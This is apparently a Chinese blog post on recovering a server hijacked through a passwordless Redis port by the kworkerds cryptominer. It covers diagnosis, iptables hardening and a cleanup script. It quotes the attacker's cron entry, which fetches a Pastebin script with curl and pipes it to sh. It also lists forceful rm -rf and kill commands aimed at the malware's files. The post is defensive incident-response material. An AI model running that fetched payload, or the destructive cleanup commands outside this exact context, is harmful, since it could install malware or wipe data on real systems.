zoukankan      html  css  js  c++  java
  • redis免密登录被入侵解决方式

    redis免密登录被入侵解决方式(部分来源:Kworkerd恶意挖矿分析记录阿里云服务器被minerd和kworkerds感染作祟

    入侵最根本原因:###

    redis没有设置密码,并且开放任意ip可以通过6379接口登录。

    入侵导致的情况:###

    CPU使用率100% ,但是 top指令 如下:
    top - 14:54:32 up 105 days, 21:29, 1 user, load average: 6.97, 6.95, 7.01
    Tasks: 98 total, 2 running, 96 sleeping, 0 stopped, 0 zombie
    %Cpu(s): 99.8 us, 0.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
    KiB Mem : 8010196 total, 170836 free, 4044724 used, 3794636 buff/cache
    KiB Swap: 0 total, 0 free, 0 used. 3613484 avail Mem

    进程的占用都是很低的,但是 %Cpu(s): 99.8 us
    PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
    27988 root 20 0 2397000 141676 2996 S 1.0 1.8 1016:05 beam.smp
    4020 root 20 0 131976 11444 5388 S 0.3 0.1 134:44.25 AliYunDun
    5008 root 20 0 3681584 105168 6588 S 0.3 1.3 20:48.23 java
    5990 root 20 0 4772176 709264 6796 S 0.3 8.9 10:44.94 java
    7426 root 20 0 3526796 571668 6960 S 0.3 7.1 9:46.08 java
    19175 root 20 0 3540288 701796 6668 S 0.3 8.8 333:28.61 java
    1 root 20 0 43604 3584 2012 S 0.0 0.0 4:06.13 systemd

    需要如下处理:

    1. 运行crontab -l 发现有定时任务在执行
      */30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh

    2. 执行 vim /etc/ld.so.preload 删除其中内容 并且执行 ldconfig

    3. 再次执行top 就会发现被隐藏的进程 kworkerds ,kill -9 该进程号即可。

    修复方式(阿里云建议):###

    1. 限制redis连接的ip
      只允许某些特定的ip访问redis
      修改iptables内容

      -A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
      修改为指定ip访问
      -A INPUT -s 172.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT
      注意:
      redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip

    2. 运行以下代码来清除所有入侵内容

       ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
       echo "" > /etc/cron.d/root
       echo "" > /etc/cron.d/system
       echo "" > /var/spool/cron/root
       echo "" > /var/spool/cron/crontabs/root
       rm -rf /etc/cron.hourly/oanacron
       rm -rf /etc/cron.daily/oanacron
       rm -rf /etc/cron.monthly/oanacron
      
       rm -rf /bin/httpdns
       sed -i '$d' /etc/crontab
      
       sed -i '$d' /etc/ld.so.preload
       rm -rf /usr/local/lib/libntp.so
      
       ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9
       rm -rf /tmp/.tmph
       rm -rf /bin/kworkerds
       rm -rf /tmp/kworkerds
       rm -rf /usr/sbin/kworkerds
       rm -rf /etc/init.d/kworker
       chkconfig --del kworker
      
    3. 继续删除文件
      去tmp目录删除多余文件,同时删除隐藏文件 ls -al
      cd /usr/local/lib下 rm -rf libjdk.so

  • 相关阅读:
    VS2010中经常使用的快捷键
    IE无法打开internet网站已终止操作的解决的方法
    Spring3.0 AOP 具体解释
    Java 反射机制[Method反射]
    软件測试自学指南---从入门到精通
    Java中Map的使用
    tracert路由跟踪命令分析判断
    C++ Primer 学习笔记_32_STL实践与分析(6) --再谈string类型(下)
    ORACLE触发器具体解释
    Androidclient推断server是否开启 HttpHostException解决方式
  • 原文地址:https://www.cnblogs.com/cuiyf/p/9648166.html
Copyright © 2011-2022 走看看